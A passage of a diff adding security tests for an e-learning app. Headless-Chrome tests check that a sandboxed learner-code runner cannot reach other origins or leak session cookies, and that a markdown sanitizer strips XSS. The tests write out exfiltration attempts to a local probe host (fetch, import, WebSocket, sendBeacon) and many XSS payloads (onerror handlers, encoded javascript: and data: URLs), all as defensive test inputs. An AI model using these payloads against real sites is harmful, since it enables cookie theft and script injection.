// request from a same-site context would carry the page's cookie here.
|
||||||
|
probe = Bun.serve({
|
||||||
|
hostname: "localhost", port: 0,
|
||||||
|
fetch(req) {
|
||||||
|
const u = new URL(req.url);
|
||||||
|
hits.push({ path: u.pathname, cookie: req.headers.get("cookie") });
|
||||||
|
const js = u.pathname.endsWith(".js");
|
||||||
|
return new Response(js ? "export default 1;" : "ok", { headers: { "Access-Control-Allow-Origin": "*", "Content-Type": js ? "text/javascript" : "text/plain" } });
|
||||||
|
},
|
||||||
|
});
|
||||||
|
P = `http://localhost:${probe.port}`;
|
||||||
|
|
||||||
|
db = await connect("sqlite://:memory:");
|
||||||
|
await runMigrations(db);
|
||||||
|
const { app: learner } = await makeApp(db, [FIXTURES]);
|
||||||
|
const page = `<!doctype html><html><head><meta charset="utf-8"><script type="module" src="/harness.js"></script></head><body><div id="root"></div></body></html>`;
|
||||||
|
app = Bun.serve({
|
||||||
|
hostname: "localhost", port: 0,
|
||||||
|
fetch(req) {
|
||||||
|
const u = new URL(req.url);
|
||||||
|
// The harness page gets the same CSP as the SPA document.
|
||||||
|
if (u.pathname === "/harness.html") return new Response(page, { headers: { "Content-Type": "text/html", "Content-Security-Policy": spaCsp(), "Set-Cookie": "stc_probe=secret-session; Path=/; SameSite=Lax" } });
|
||||||
|
// The same page without any CSP: the runner must isolate learner code on its own.
|
||||||
|
if (u.pathname === "/harness-nocsp.html") return new Response(page, { headers: { "Content-Type": "text/html" } });
|
||||||
|
// Same-origin probe: a request here from learner code would carry the session cookie.
|
||||||
|
if (u.pathname.startsWith("/cookie-probe")) {
|
||||||
|
hits.push({ path: `app:${u.pathname}`, cookie: req.headers.get("cookie") });
|
||||||
|
return new Response("export default 1;", { headers: { "Content-Type": "text/javascript" } });
|
||||||
|
}
|
||||||
|
if (u.pathname === "/harness.js") return new Response(js, { headers: { "Content-Type": "text/javascript" } });
|
||||||
|
return learner.fetch(req);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
ORIGIN = `http://localhost:${app.port}`;
|
||||||
|
chrome = await Chrome.launch();
|
||||||
|
await chrome.goto(`${ORIGIN}/harness.html`, 2000);
|
||||||
|
expect(await chrome.eval<boolean>("window.stcReady === true")).toBe(true);
|
||||||
|
}, 30_000);
|
||||||
|
|
||||||
|
afterAll(async () => {
|
||||||
|
await chrome?.close();
|
||||||
|
app?.stop(true);
|
||||||
|
probe?.stop(true);
|
||||||
|
await db?.close();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("control: the probe sees requests from this browser, with the page's cookie", async () => {
|
||||||
|
// The SPA CSP (connect-src 'self') blocks fetches from the page itself, so the control is a top-level
|
||||||
|
// navigation. It proves that a leak would be recorded, and would carry the cookie.
|
||||||
|
await chrome.goto(`${P}/control`, 500);
|
||||||
|
await chrome.goto(`${ORIGIN}/harness.html`, 1500);
|
||||||
|
expect(await chrome.eval<boolean>("window.stcReady === true")).toBe(true);
|
||||||
|
const c = hits.find((h) => h.path === "/control");
|
||||||
|
expect(c).toBeDefined();
|
||||||
|
expect(c!.cookie ?? "").toContain("stc_probe=secret-session");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the SPA CSP itself blocks a page-level fetch to another origin", async () => {
|
||||||
|
const before = hits.length;
|
||||||
|
const r = await chrome.eval<string>(`fetch(${JSON.stringify(P + "/page-fetch")}).then(() => "open", (e) => "blocked")`);
|
||||||
|
expect(r).toBe("blocked");
|
||||||
|
expect(hits.slice(before)).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("the runner still works inside the sandboxed frame", async () => {
|
||||||
|
const dir = join(FIXTURES, "sample/exercises/add");
|
||||||
|
const tests = readFileSync(join(dir, "tests.js"), "utf8"), starter = readFileSync(join(dir, "starter.js"), "utf8");
|
||||||
|
const fail = await chrome.eval<{ passed: boolean; expected?: string; actual?: string }[]>(`stcRun(${JSON.stringify(starter)}, ${JSON.stringify(tests)}, 5000)`);
|
||||||
|
expect(fail.map((r) => r.passed)).toEqual([false, false]);
|
||||||
|
expect(fail[0]).toMatchObject({ expected: "5", actual: "-1" });
|
||||||
|
const pass = await chrome.eval<{ passed: boolean }[]>(`stcRun(${JSON.stringify(starter.replace("a - b", "a + b"))}, ${JSON.stringify(tests)}, 5000)`);
|
||||||
|
expect(pass.map((r) => r.passed)).toEqual([true, true]);
|
||||||
|
expect(await chrome.eval<number>("document.querySelectorAll('iframe').length")).toBe(0);
|
||||||
|
}, 20_000);
|
||||||
|
|
||||||
|
test("the timeout destroys the frame and its worker", async () => {
|
||||||
|
const tests = `export const tests = [{ name: "loop", run: (m) => m.spin() }];`;
|
||||||
|
const r = await chrome.eval<{ passed: boolean; message?: string }[]>(`stcRun("export function spin() { while (true) {} }", ${JSON.stringify(tests)}, 800)`);
|
||||||
|
expect(r[0]!.passed).toBe(false);
|
||||||
|
expect(r[0]!.message).toContain("Timed out");
|
||||||
|
expect(await chrome.eval<number>("document.querySelectorAll('iframe').length")).toBe(0);
|
||||||
|
}, 20_000);
|
||||||
|
|
||||||
|
const attack = (who: string) => `
|
||||||
|
const P = ${JSON.stringify(P)} + "/${who}";
|
||||||
|
const tryIt = (f) => { try { const r = f(); if (r && typeof r.then === "function") r.then(() => {}, () => {}); } catch (_) {} };
|
||||||
|
tryIt(() => fetch(P + "-fetch", { credentials: "include" }));
|
||||||
|
tryIt(() => import(P + "-import.js"));
|
||||||
|
tryIt(() => import(URL.createObjectURL(new Blob(['import "' + P + '-static-import.js";'], { type: "text/javascript" }))));
|
||||||
|
tryIt(() => caches.open("x").then((c) => c.add(P + "-cache")));
|
||||||
|
tryIt(() => new Worker(URL.createObjectURL(new Blob(['fetch("' + P + '-nested", { credentials: "include" })'], { type: "text/javascript" }))));
|
||||||
|
tryIt(() => { const i = new Image(); i.src = P + "-img"; });
|
||||||
|
tryIt(() => new EventSource(P + "-es", { withCredentials: true }));
|
||||||
|
tryIt(() => new WebSocket(P.replace("http", "ws") + "-ws"));
|
||||||
|
tryIt(() => { const x = new XMLHttpRequest(); x.open("GET", P + "-xhr"); x.send(); });
|
||||||
|
tryIt(() => importScripts(P + "-importscripts.js"));
|
||||||
|
tryIt(() => navigator.sendBeacon && navigator.sendBeacon(P + "-beacon", "x"));
|
||||||
|
tryIt(() => import(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}.js"));
|
||||||
|
tryIt(() => fetch(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}-fetch", { credentials: "include" }));
|
||||||
|
`;
|
||||||
|
const code = () => `${attack("code")}\nexport const add = (a, b) => a + b;`;
|
||||||
|
const tests = () => `${attack("tests")}\nexport const tests = [{ name: "wait", run: async () => { ${attack("run")} await new Promise((r) => setTimeout(r, 1500)); } }];`;
|
||||||
|
const leaksFrom = async (fn: "stcRun" | "stcRunPlain") => {
|
||||||
|
const before = hits.length;
|
||||||
|
await chrome.eval(`${fn}(${JSON.stringify(code())}, ${JSON.stringify(tests())}, 4000)`);
|
||||||
|
await Bun.sleep(1500);
|
||||||
|
return hits.slice(before);
|
||||||
|
};
|
||||||
|
|
||||||
|
let controlEnd = 0;
|
||||||
|
test("negative control: without the sandbox, a same-origin worker on a page without CSP leaks", async () => {
|
||||||
|
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
|
||||||
|
const leaked = await leaksFrom("stcRunPlain");
|
||||||
|
// Dynamic import gets through the stubs, to other origins and, with the session cookie, to the app itself.
|
||||||
|
expect(leaked.map((h) => h.path)).toContain("/code-import.js");
|
||||||
|
expect(leaked.some((h) => h.path === "app:/cookie-probe-code.js" && (h.cookie ?? "").includes("stc_probe"))).toBe(true);
|
||||||
|
controlEnd = hits.length;
|
||||||
|
}, 30_000);
|
||||||
|
|
||||||
|
test("C2: learner and test code reach nothing from the sandboxed runner, even on a page without CSP", async () => {
|
||||||
|
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
|
||||||
|
expect(await leaksFrom("stcRun")).toEqual([]);
|
||||||
|
}, 30_000);
|
||||||
|
|
||||||
|
test("C2: learner and test code reach nothing from the sandboxed runner on the SPA (with its CSP)", async () => {
|
||||||
|
await chrome.goto(`${ORIGIN}/harness.html`, 1500);
|
||||||
|
expect(await leaksFrom("stcRun")).toEqual([]);
|
||||||
|
// Only the control navigation (and the favicon request Chrome makes for it) ever carried the cookie.
|
||||||
|
// (The negative control's own leaks are excluded; they ran the old design on purpose.)
|
||||||
|
expect(hits.slice(controlEnd).filter((h) => (h.cookie ?? "").includes("stc_probe"))).toEqual([]);
|
||||||
|
}, 30_000);
|
||||||
|
|
||||||
|
test("C1: the reviewer's exploit lesson does not run script in LessonView (page without CSP)", async () => {
|
||||||
|
// No CSP here, so the sanitizer alone has to stop the script.
|
||||||
|
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
|
||||||
|
const beacon = `fetch('${P}/xss')`;
|
||||||
|
const md = [
|
||||||
|
"<details>\n<summary>Think first</summary>\n<img src=x onerror=\"window.__xss=1;" + beacon + "\"\n\nNext paragraph\n</details>",
|
||||||
|
"<div>\n<img src=x onerror=window.__xss=2\n\nAnother\n</div>",
|
||||||
|
"<svg onload=\"window.__xss=3\"></svg>",
|
||||||
|
"<details><summary onclick=\"window.__xss=4\">Hint 1 — nudge</summary>\n\nx\n\n</details>",
|
||||||
|
"[a](javascript:window.__xss=5) [b](JaVaScRiPt:window.__xss=6) <a href=\"javascript:window.__xss=7\">c</a>",
|
||||||
|
"<iframe src=\"javascript:parent.__xss=8\"></iframe><script>window.__xss=9</script>",
|
||||||
|
].join("\n\n");
|
||||||
|
const before = hits.length;
|
||||||
|
const html = await chrome.eval<string>(`stcRenderLesson(${JSON.stringify(md)}, ${JSON.stringify("<img src=x onerror=window.__xss=10")})`);
|
||||||
|
// Click every link and summary, as a learner would.
|
||||||
|
await chrome.eval(`(() => { for (const a of document.querySelectorAll("#root a, #root summary")) { try { a.dispatchEvent(new MouseEvent("click", { bubbles: true, cancelable: true })); } catch (_) {} } })()`);
|
||||||
|
await Bun.sleep(800);
|
||||||
|
expect(await chrome.eval("window.__xss ?? null")).toBeNull();
|
||||||
|
expect(chrome.dialogs).toEqual([]);
|
||||||
|
expect(hits.slice(before).filter((h) => h.path === "/xss")).toEqual([]);
|
||||||
|
expect(html).toContain("Next paragraph");
|
||||||
|
expect(html).not.toMatch(/<[a-z][^>]*\son[a-z]+=/i);
|
||||||
|
}, 30_000);
|
||||||
|
});
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
import { mkdtempSync, rmSync } from "node:fs";
|
||||||
|
import { tmpdir } from "node:os";
|
||||||
|
import { join } from "node:path";
|
||||||
|
|
||||||
|
/** Path of a usable Chrome, or null (the browser tests are skipped without one). */
|
||||||
|
export const chromePath = Bun.which("google-chrome") ?? Bun.which("chromium") ?? Bun.which("chromium-browser");
|
||||||
|
|
||||||
|
/** A minimal Chrome DevTools Protocol driver for headless end-to-end checks. */
|
||||||
|
export class Chrome {
|
||||||
|
private ws!: WebSocket;
|
||||||
|
private id = 0;
|
||||||
|
private pending = new Map<number, (v: { result?: any; error?: any }) => void>();
|
||||||
|
readonly console: string[] = [];
|
||||||
|
readonly dialogs: string[] = [];
|
||||||
|
private proc!: Bun.Subprocess;
|
||||||
|
private dir!: string;
|
||||||
|
|
||||||
|
static async launch(): Promise<Chrome> {
|
||||||
|
const c = new Chrome();
|
||||||
|
c.dir = mkdtempSync(join(tmpdir(), "stc-chrome-"));
|
||||||
|
const port = 9400 + Math.floor(Math.random() * 500);
|
||||||
|
c.proc = Bun.spawn([chromePath!, "--headless=new", "--no-sandbox", "--disable-gpu", "--no-first-run", `--remote-debugging-port=${port}`, `--user-data-dir=${c.dir}`, "about:blank"], { stdout: "ignore", stderr: "ignore" });
|
||||||
|
let url: string | null = null;
|
||||||
|
for (let i = 0; i < 100 && !url; i++) {
|
||||||
|
await Bun.sleep(100);
|
||||||
|
try {
|
||||||
|
const list = (await (await fetch(`http://127.0.0.1:${port}/json`)).json()) as { type: string; webSocketDebuggerUrl: string }[];
|
||||||
|
url = list.find((t) => t.type === "page")?.webSocketDebuggerUrl ?? null;
|
||||||
|
} catch { /* not up yet */ }
|
||||||
|
}
|
||||||
|
if (!url) throw new Error("chrome did not start");
|
||||||
|
c.ws = new WebSocket(url);
|
||||||
|
await new Promise((r) => c.ws.addEventListener("open", r, { once: true }));
|
||||||
|
c.ws.addEventListener("message", (ev) => {
|
||||||
|
const m = JSON.parse(String(ev.data));
|
||||||
|
if (m.id && c.pending.has(m.id)) { c.pending.get(m.id)!(m); c.pending.delete(m.id); }
|
||||||
|
if (m.method === "Runtime.consoleAPICalled") c.console.push(`${m.params.type}: ${m.params.args.map((a: any) => a.value ?? a.description).join(" ")}`);
|
||||||
|
if (m.method === "Runtime.exceptionThrown") c.console.push(`exception: ${m.params.exceptionDetails.exception?.description ?? m.params.exceptionDetails.text}`);
|
||||||
|
if (m.method === "Page.javascriptDialogOpening") { c.dialogs.push(m.params.message); void c.send("Page.handleJavaScriptDialog", { accept: true }); }
|
||||||
|
});
|
||||||
|
await c.send("Page.enable");
|
||||||
|
await c.send("Runtime.enable");
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
send(method: string, params: object = {}): Promise<{ result?: any; error?: any }> {
|
||||||
|
return new Promise((r) => { const i = ++this.id; this.pending.set(i, r); this.ws.send(JSON.stringify({ id: i, method, params })); });
|
||||||
|
}
|
||||||
|
|
||||||
|
async goto(url: string, settleMs = 1500) {
|
||||||
|
await this.send("Page.navigate", { url });
|
||||||
|
await Bun.sleep(settleMs);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Evaluates `js` in the page (awaiting promises) and returns the JSON value. */
|
||||||
|
async eval<T = unknown>(js: string): Promise<T> {
|
||||||
|
const r = await this.send("Runtime.evaluate", { expression: js, awaitPromise: true, returnByValue: true });
|
||||||
|
if (r.result?.exceptionDetails) throw new Error(r.result.exceptionDetails.exception?.description ?? "evaluation failed");
|
||||||
|
return r.result?.result?.value as T;
|
||||||
|
}
|
||||||
|
|
||||||
|
async close() {
|
||||||
|
try { this.ws.close(); } catch { /* closed */ }
|
||||||
|
this.proc.kill();
|
||||||
|
await this.proc.exited;
|
||||||
|
rmSync(this.dir, { recursive: true, force: true });
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
// Browser harness for the headless-Chrome tests: the real runner and the real LessonView, bundled for the browser.
|
||||||
|
import { createRoot } from "react-dom/client";
|
||||||
|
import { createBrowserRunner } from "../../src/web/runner/runner";
|
||||||
|
import { WORKER_SOURCE } from "../../src/web/runner/worker-source";
|
||||||
|
import { LessonView } from "../../src/web/lesson/LessonView";
|
||||||
|
import type { LessonPayload } from "../../src/shared/types";
|
||||||
|
|
||||||
|
declare global {
|
||||||
|
interface Window {
|
||||||
|
stcRun(code: string, tests: string, timeoutMs: number): Promise<unknown>;
|
||||||
|
/** Negative control only: the old design, a same-origin blob worker in the page. */
|
||||||
|
stcRunPlain(code: string, tests: string, timeoutMs: number): Promise<unknown>;
|
||||||
|
stcRenderLesson(markdown: string, hintBody: string): Promise<string>;
|
||||||
|
stcReady: boolean;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
window.stcRun = (code, tests, timeoutMs) => createBrowserRunner("js").run(code, tests, timeoutMs);
|
||||||
|
window.stcRunPlain = (code, tests, timeoutMs) => createBrowserRunner("js", {
|
||||||
|
createWorker: () => new Worker(URL.createObjectURL(new Blob([WORKER_SOURCE], { type: "text/javascript" })), { type: "module" }),
|
||||||
|
}).run(code, tests, timeoutMs);
|
||||||
|
|
||||||
|
window.stcRenderLesson = async (markdown, hintBody) => {
|
||||||
|
const lesson: LessonPayload = {
|
||||||
|
courseId: "c", courseTitle: "C", lesson: { id: "x", title: "Exploit", type: "exercise", minutes: null },
|
||||||
|
module: { id: "m", title: "M", index: 0 }, locked: false, markdown, baseFile: "course/x.md", trackMarkdown: {}, tracks: [],
|
||||||
|
video: null, transcript: null, hints: [{ label: "nudge", body: hintBody }], decks: [], code: null, attachments: [], browser: null,
|
||||||
|
localCommand: null, prev: null, next: null, lessonFiles: {},
|
||||||
|
};
|
||||||
|
const el = document.getElementById("root")!;
|
||||||
|
createRoot(el).render(<LessonView lesson={lesson} preview />);
|
||||||
|
await new Promise((r) => setTimeout(r, 300));
|
||||||
|
// Open every fold so nested content is live in the DOM too.
|
||||||
|
for (const d of document.querySelectorAll("details")) d.open = true;
|
||||||
|
await new Promise((r) => setTimeout(r, 500));
|
||||||
|
return el.innerHTML;
|
||||||
|
};
|
||||||
|
|
||||||
|
window.stcReady = true;
|
||||||
@@ -106,3 +106,12 @@ test("helpers: local command per track, note timestamps, code tree", () => {
|
|||||||
expect(t.dirs.get("src")!.files.map((f) => f.path)).toEqual(["src/b.ts"]);
|
expect(t.dirs.get("src")!.files.map((f) => f.path)).toEqual(["src/b.ts"]);
|
||||||
expect(t.dirs.get("src")!.dirs.get("x")!.files[0]!.path).toBe("src/x/c.ts");
|
expect(t.dirs.get("src")!.dirs.get("x")!.files[0]!.path).toBe("src/x/c.ts");
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test("the exercise editor: no Tab capture, Enter keeps the indentation", async () => {
|
||||||
|
const { newlineWithIndent } = await import("../src/web/lesson/Exercise");
|
||||||
|
expect(newlineWithIndent("function f() {\n return 1", 26)).toBe("\n ");
|
||||||
|
expect(newlineWithIndent("x", 1)).toBe("\n");
|
||||||
|
expect(newlineWithIndent("\t\tx", 3)).toBe("\n\t\t");
|
||||||
|
const src = await Bun.file(new URL("../src/web/lesson/Exercise.tsx", import.meta.url)).text();
|
||||||
|
expect(src).not.toMatch(/e\.key === "Tab"/);
|
||||||
|
});
|
||||||
|
|||||||
@@ -100,11 +100,12 @@ test("systemic-design hint numbering forms one group", () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test("raw HTML is reduced to safe tags", () => {
|
test("raw HTML is reduced to safe tags", () => {
|
||||||
expect(sanitizeHtml('<script>alert(1)</script><kbd>x</kbd><img src=x onerror=alert(1)><details open>')).toBe("<script>alert(1)</script><kbd>x</kbd><img src=x onerror=alert(1)><details open>");
|
expect(sanitizeHtml('<script>alert(1)</script><kbd>x</kbd><img src=x onerror=alert(1)><details open>')).toBe('<script>alert(1)</script><kbd>x</kbd><img src="x" /><details open></details>');
|
||||||
const html = renderLessonHtml('<div onclick="x()">hi</div>\n\n[x](javascript:alert(1)) <span style="color:red">s</span>', opts);
|
const html = renderLessonHtml('<div onclick="x()">hi</div>\n\n[x](javascript:alert(1)) <span style="color:red">s</span>', opts);
|
||||||
expect(html).not.toContain("<div");
|
expect(html).toContain("<div>hi</div>");
|
||||||
|
expect(html).not.toContain("onclick");
|
||||||
expect(html).not.toContain("javascript:");
|
expect(html).not.toContain("javascript:");
|
||||||
expect(html).not.toContain('<span style');
|
expect(html).not.toContain("style=");
|
||||||
});
|
});
|
||||||
|
|
||||||
test("links and images resolve inside the course", () => {
|
test("links and images resolve inside the course", () => {
|
||||||
@@ -114,7 +115,7 @@ test("links and images resolve inside the course", () => {
|
|||||||
expect(resolveHref("https://example.com", opts, "link")).toEqual({ url: "https://example.com", external: true });
|
expect(resolveHref("https://example.com", opts, "link")).toEqual({ url: "https://example.com", external: true });
|
||||||
expect(resolveHref("img/a.png", opts, "image")).toEqual({ url: "/api/media/pure-snake/course/img/a.png", external: false });
|
expect(resolveHref("img/a.png", opts, "image")).toEqual({ url: "/api/media/pure-snake/course/img/a.png", external: false });
|
||||||
const html = renderLessonHtml(" and [ext](https://x.org)", opts);
|
const html = renderLessonHtml(" and [ext](https://x.org)", opts);
|
||||||
expect(html).toContain('<img src="/api/media/pure-snake/course/img/board.png" alt="board" loading="lazy">');
|
expect(html).toContain('<img src="/api/media/pure-snake/course/img/board.png" alt="board" loading="lazy" />');
|
||||||
expect(html).toContain('target="_blank" rel="noopener noreferrer"');
|
expect(html).toContain('target="_blank" rel="noopener noreferrer"');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,65 @@
|
|||||||
|
import { expect, test } from "bun:test";
|
||||||
|
import { inlineScriptHashes, spaCsp, spaWithCsp } from "../src/server/spa";
|
||||||
|
import { RUNNER_FRAME_CSP, RUNNER_FRAME_PATH } from "../src/server/runnerFrame";
|
||||||
|
import { connect } from "@stc/db";
|
||||||
|
import { runMigrations } from "../src/server/migrate";
|
||||||
|
import { makeApp } from "./app";
|
||||||
|
|
||||||
|
const scriptSrc = (csp: string) => csp.split(";").map((d) => d.trim()).find((d) => d.startsWith("script-src"))!;
|
||||||
|
|
||||||
|
test("the SPA CSP allows scripts from 'self' only, never inline", () => {
|
||||||
|
const s = scriptSrc(spaCsp());
|
||||||
|
expect(s).toBe("script-src 'self'");
|
||||||
|
expect(spaCsp()).toContain("object-src 'none'");
|
||||||
|
expect(spaCsp()).toContain("frame-ancestors 'self'");
|
||||||
|
expect(inlineScriptHashes('<script src="/a.js"></script><script>x()</script>')).toEqual([
|
||||||
|
`sha256-${new Bun.CryptoHasher("sha256").update("x()").digest("base64")}`,
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
// A stand-in for the bundled index.html (bundling inside bun test is unreliable); the real bundle is checked
|
||||||
|
// against the dev server (see wp-learner-report.md, fix round 1).
|
||||||
|
const DOC = '<!doctype html><html><head><script type="module" src="/_bun/client/app.js"></script><script>helper()</script></head><body><div id="root"></div></body></html>';
|
||||||
|
const upstream = (req: Request) => new URL(req.url).pathname.endsWith(".js")
|
||||||
|
? new Response("console.log(1)", { headers: { "Content-Type": "text/javascript" } })
|
||||||
|
: new Response(DOC, { headers: { "Content-Type": "text/html;charset=utf-8" } });
|
||||||
|
|
||||||
|
for (const development of [false, true]) {
|
||||||
|
test(`the SPA document is served with the CSP header (development: ${development})`, async () => {
|
||||||
|
const spa = spaWithCsp(upstream, { development });
|
||||||
|
const server = Bun.serve({ hostname: "127.0.0.1", port: 0, routes: { "/api/x": () => new Response("api"), ...spa.routes } });
|
||||||
|
try {
|
||||||
|
const r = await fetch(`http://127.0.0.1:${server.port}/c/sample/m1-intro`);
|
||||||
|
expect(r.status).toBe(200);
|
||||||
|
const csp = r.headers.get("content-security-policy")!;
|
||||||
|
expect(await r.text()).toBe(DOC);
|
||||||
|
const s = scriptSrc(csp);
|
||||||
|
expect(s).not.toContain("unsafe-inline");
|
||||||
|
expect(s).not.toContain("unsafe-eval");
|
||||||
|
// Production never allows inline script; development allows only the exact injected helper, by hash.
|
||||||
|
expect(s).toBe(development ? `script-src 'self' '${inlineScriptHashes(DOC)[0]}'` : "script-src 'self'");
|
||||||
|
const asset = await fetch(`http://127.0.0.1:${server.port}/_bun/client/app.js`);
|
||||||
|
expect(asset.status).toBe(200);
|
||||||
|
expect(asset.headers.get("content-security-policy")).toBeNull();
|
||||||
|
expect(await (await fetch(`http://127.0.0.1:${server.port}/api/x`)).text()).toBe("api");
|
||||||
|
} finally {
|
||||||
|
server.stop(true);
|
||||||
|
spa.stop();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
test("the runner frame is served sandboxed, with no connections and only its own script", async () => {
|
||||||
|
const db = await connect("sqlite://:memory:");
|
||||||
|
await runMigrations(db);
|
||||||
|
const { call } = await makeApp(db);
|
||||||
|
const r = await call("GET", RUNNER_FRAME_PATH);
|
||||||
|
expect(r.status).toBe(200);
|
||||||
|
const csp = r.headers.get("content-security-policy")!;
|
||||||
|
expect(csp).toBe(RUNNER_FRAME_CSP);
|
||||||
|
expect(csp).toContain("connect-src 'none'");
|
||||||
|
expect(csp).toContain("sandbox allow-scripts");
|
||||||
|
expect(csp).not.toContain("allow-same-origin");
|
||||||
|
expect(scriptSrc(csp)).toMatch(/^script-src 'sha256-[A-Za-z0-9+/=]+' blob:$/);
|
||||||
|
await db.close();
|
||||||
|
});
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
import { expect } from "bun:test";
|
||||||
|
import { forEachDb } from "./helpers";
|
||||||
|
import { FIXTURES, makeApp } from "./app";
|
||||||
|
import { extraCourses } from "./courses";
|
||||||
|
|
||||||
|
forEachDb("one visibility rule: the global author role alone does not open a restricted course (I1)", async (db) => {
|
||||||
|
const dir = await extraCourses();
|
||||||
|
const { call, signUp } = await makeApp(db, [FIXTURES, dir]);
|
||||||
|
const owner = await signUp("[email protected]");
|
||||||
|
const author = await signUp("[email protected]");
|
||||||
|
const coAuthor = await signUp("[email protected]");
|
||||||
|
const users = (await (await call("GET", "/api/admin/users", { cookie: owner })).json()) as { id: string; email: string }[];
|
||||||
|
const id = (e: string) => users.find((u) => u.email === e)!.id;
|
||||||
|
expect((await call("PUT", `/api/admin/users/${id("[email protected]")}/roles`, { cookie: owner, body: { roles: ["author"] } })).status).toBe(200);
|
||||||
|
expect((await call("PUT", "/api/admin/courses/secret/access", { cookie: owner, body: { authors: [id("[email protected]")] } })).status).toBe(200);
|
||||||
|
|
||||||
|
const paths = ["/api/courses/secret", "/api/courses/secret/lessons/s1", "/api/media/secret/a.md"];
|
||||||
|
for (const p of paths) {
|
||||||
|
expect([p, (await call("GET", p, { cookie: author })).status]).toEqual([p, 404]);
|
||||||
|
expect([p, (await call("GET", p, { cookie: coAuthor })).status]).toEqual([p, 200]);
|
||||||
|
}
|
||||||
|
const lib = async (c: string) => ((await (await call("GET", "/api/library", { cookie: c })).json()) as { courses: { id: string }[] }).courses.map((x) => x.id);
|
||||||
|
expect(await lib(author)).not.toContain("secret");
|
||||||
|
expect(await lib(coAuthor)).toContain("secret");
|
||||||
|
const search = (await (await call("GET", "/api/library/search?q=hidden", { cookie: author })).json()) as unknown[];
|
||||||
|
expect(search).toEqual([]);
|
||||||
|
});
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
import { expect, test } from "bun:test";
|
||||||
|
import { renderHintsHtml, renderLessonHtml, sanitizeHtml } from "../src/web/markdown";
|
||||||
|
|
||||||
|
const opts = { courseId: "c", baseFile: "course/l.md", tracks: [], lessonFiles: {} };
|
||||||
|
|
||||||
|
const decode = (s: string) => s.replace(/&#x([0-9a-f]+);?/gi, (_, h) => String.fromCodePoint(parseInt(h, 16)))
|
||||||
|
.replace(/&#(\d+);?/g, (_, d) => String.fromCodePoint(Number(d))).replace(/:/gi, ":").replace(/&tab;/gi, "\t").replace(/&newline;/gi, "\n").replace(/&/g, "&");
|
||||||
|
|
||||||
|
/** Fails when real tags in `html` carry event handlers, style, a dangerous URL, or are script-capable elements. */
|
||||||
|
function expectSafe(html: string) {
|
||||||
|
const tags = html.match(/<[a-zA-Z][^>]*>/g) ?? [];
|
||||||
|
for (const t of tags) {
|
||||||
|
expect(t).not.toMatch(/\son[a-z]+\s*=/i);
|
||||||
|
expect(t).not.toMatch(/\sstyle\s*=/i);
|
||||||
|
expect(t).not.toMatch(/^<(script|style|svg|math|iframe|object|embed|form|input|button|textarea|select|link|meta|base|frame|frameset)\b/i);
|
||||||
|
for (const m of t.matchAll(/\s(?:href|src|action|formaction|xlink:href)\s*=\s*"([^"]*)"/gi)) {
|
||||||
|
const url = decode(m[1]!).replace(/[\u0000- \u007f-\u009f]/g, "").toLowerCase();
|
||||||
|
expect(url).not.toMatch(/^(javascript|vbscript|data|file):/);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// An unterminated tag must never swallow following markup into its attributes.
|
||||||
|
expect(html).not.toMatch(/<img[^>]*<p/i);
|
||||||
|
}
|
||||||
|
|
||||||
|
test("the reviewer's exploit: an unclosed tag inside <details> or <div>", () => {
|
||||||
|
for (const wrapper of ["details", "div"]) {
|
||||||
|
const md = `<${wrapper}>\n<summary>Think first</summary>\n<img src=x onerror=alert(1)\n\nNext paragraph\n`;
|
||||||
|
const html = renderLessonHtml(md, opts);
|
||||||
|
expectSafe(html);
|
||||||
|
expect(html).not.toContain("onerror=alert");
|
||||||
|
expect(html).toContain("Next paragraph");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("unclosed tags at the end of a token and across blocks", () => {
|
||||||
|
for (const md of [
|
||||||
|
"<img src=x onerror=alert(1)",
|
||||||
|
"text <img src=x onerror=alert(1)\n\n# Heading\n\n<b>bold",
|
||||||
|
"<details><summary>a</summary>\n\n<a href=\"x\" onclick=\"alert(1)\"\n\nmore\n\n</details>",
|
||||||
|
"<span title='\n\n'onmouseover=alert(1) x='>hover</span>",
|
||||||
|
"<div\nonmouseover=alert(1)>x</div>",
|
||||||
|
]) expectSafe(renderLessonHtml(md, opts));
|
||||||
|
});
|
||||||
|
|
||||||
|
test("javascript:, data: and vbscript: URLs in any case or encoding are removed", () => {
|
||||||
|
const payloads = [
|
||||||
|
"javascript:alert(1)", "JaVaScRiPt:alert(1)", " javascript:alert(1)", "java\tscript:alert(1)", "java	script:alert(1)",
|
||||||
|
"javascript:alert(1)", "javascript:alert(1)", "javascript:alert(1)",
|
||||||
|
"javascript:alert(1)", "vbscript:msgbox(1)", "VBScript:msgbox(1)", "data:text/html,<script>alert(1)</script>",
|
||||||
|
"DATA:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==", "data:image/svg+xml,<svg onload=alert(1)>",
|
||||||
|
];
|
||||||
|
for (const p of payloads) {
|
||||||
|
expectSafe(renderLessonHtml(`[link](${p.replace(/ /g, "%20")}) and <a href="${p}">raw</a> and <img src="${p}"> and })`, opts));
|
||||||
|
expectSafe(sanitizeHtml(`<a href="${p}">x</a><img src="${p}">`));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("svg, math, iframe, object, embed, form, script and style never become elements", () => {
|
||||||
|
const md = [
|
||||||
|
